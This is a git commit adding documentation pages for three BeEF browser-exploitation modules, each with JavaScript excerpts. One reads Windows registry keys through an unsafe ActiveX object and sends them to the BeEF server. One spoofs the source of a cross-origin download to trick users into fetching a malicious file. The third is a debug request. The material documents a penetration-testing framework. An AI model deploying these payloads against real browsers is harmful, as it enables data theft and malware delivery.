added get registry keys, lcamtuf download, and test network request

Haoxi Tan
2020-01-08 11:30:45 +10:00
parent 9e736ff40c
commit 49dbfa181a
3 changed files with 87 additions and 4 deletions
+38 -1
@@ -1 +1,38 @@
_TODO_
## Summary
* **Objective**: get registry keys of a Windows system
* **Authors**: bcoles
* **Browsers**: IE
* [Code](https://github.com/beefproject/beef/tree/master/modules/host/get_registry_keys)
## Internal Working
Retrieves the values of Windows Registry keys using an (unsafe) ActiveX control.
Internet Explorer does NOT allow scripting of unsafe ActiveX controls in the Internet zone by default.
Each registry key must be placed on a new line.
uses the Wscript.Shell object to do so
```js
var wsh = new ActiveXObject("WScript.Shell");
if (!wsh) throw("failed to create registry object");
else {
for (var i=0; i<key_paths.length; i++) {
var key_path = key_paths[i];
if (!key_path) continue;
try {
var key_value = wsh.RegRead(key_path);
result = key_path+": "+key_value;
} catch (e) {
result = key_path+": failed to retrieve key value";
}
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'key_values='+result);
}
}
```
## Feedback
+33 -2
@@ -1,5 +1,36 @@
_TODO_
## Summary
* **Objective**: Trick the user into downloading a file from another domain
* **Authors**: Bart Leppens
* **Browsers**: Firefox, Chrome
* [Code](https://github.com/beefproject/beef/tree/master/modules/social_engineering/lcamtuf_download)
## Internal Working
points the targeted window to a cross-origin attachment download and try to spoof to source of that download to look like the current domain (doesn't work on later versions)
```js
function doit() {
if (!beef.browser.isIE()) {
w = window.open('data:text/html,<meta http-equiv="refresh" content="0;URL=' + realurl + '">', 'foo');
setTimeout(donext, 4500);
}
}
function donext() {
window.open(maliciousurl, 'foo');
if (once != true) setTimeout(donext, 5000);
once = true;
}
```
## References
* https://lcamtuf.blogspot.co.uk/2012/05/yes-you-can-have-fun-with-downloads.html
* http://lcamtuf.coredump.cx/fldl/
* http://lcamtuf.coredump.cx/fldl/
## Feedback
+16 -1
@@ -1 +1,16 @@
_TODO_
## Summary
* **Objective**: Test the beef.net.request function by retrieving a URL.
* **Authors**: bcoles
* **Browsers**: All
* [Code](https://github.com/beefproject/beef/tree/master/modules/debug/test_network_request)
## Internal Working
```js
beef.net.request(scheme, method, domain, port, path, anchor, data, timeout, dataType, function(response) { beef.net.send("<%= @command_url %>", <%= @command_id %>, JSON.stringify(response)); } )
```
## Feedback